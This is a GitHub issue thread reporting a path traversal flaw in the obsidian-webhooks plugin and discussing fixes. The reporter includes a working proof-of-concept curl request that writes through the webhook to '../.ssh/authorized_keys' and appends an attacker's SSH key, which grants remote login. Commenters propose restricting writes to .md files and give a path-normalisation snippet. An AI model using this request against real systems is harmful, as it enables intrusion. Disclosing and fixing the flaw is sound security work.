obsidian-webhooks
obsidian-webhooks copied to clipboard
Relative path traversal allows anyone with the URL to write to files outside of the vault
If an attacker were to come into possession of the webhook URL, they would be able to append to any file for which the obsidian user has write permissions. If, for example, the directory of the vault is ~/Vault, then the following request would allow an attacker to append a public key to ~/.ssh/authorized_keys:
curl "https://us-central1-obsidian-buffer.cloudfunctions.net/webhook/REDACTED?path=../.ssh/authorized_keys" -d "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrZlHsbmpqKOA2cklRqNeSYqD9OXjdlc52KBMvfn0rPtCp0o/hbhDIok1NjSAl2uMqathK4gSskIOGOJZDDyq/8vl88vvVzrTEyV7V+8St4KagI79OH/SqyrTpL9sqqfFK6aHjjwEF2RybciVzdEuORbIrw2oN+zbQtwaCcBn4lPJwfIfhwsH2xQZT12TL7cTnf7/QMTQy5QEsvjdsI4oh3WyLpCBNczUUZQsR4cRXwbYG0XgCerVvMlb4MT8ZkcarpQGLKjALhZExsE2r42TjBS37yNHSumydGImp9QuB0p7IpEDSRQ8G618fTw1BYF9bcQuLNTu7ZhCBH9dbfMwp"
Instead of trying to detect vault escapes I think it might be safest to lock it down to only write to .md
files. What do you think of that?
I think this could be buttoned-up simply: Directory traversal attacks are extremely well-understood, instead of only allowing .md files, I'd go all the way and fix the root cause, with something like:
var p = url.parse(u).pathname
p = p.replace(/%2e/ig, '.')
p = p.replace(/%2f/ig, '/')
p = p.replace(/%5c/ig, '\\')
p = p.replace(/^[\/\\]?/, '/')
p = p.replace(/[\/\\]\.\.[\/\\]/, '/')
u = path.normalize(p).replace(/\\/g, '/')
if (u.indexOf(this.url) !== 0) return false
(disclaimer, I am not a js dev, and got this example from https://learn.snyk.io/lesson/directory-traversal/)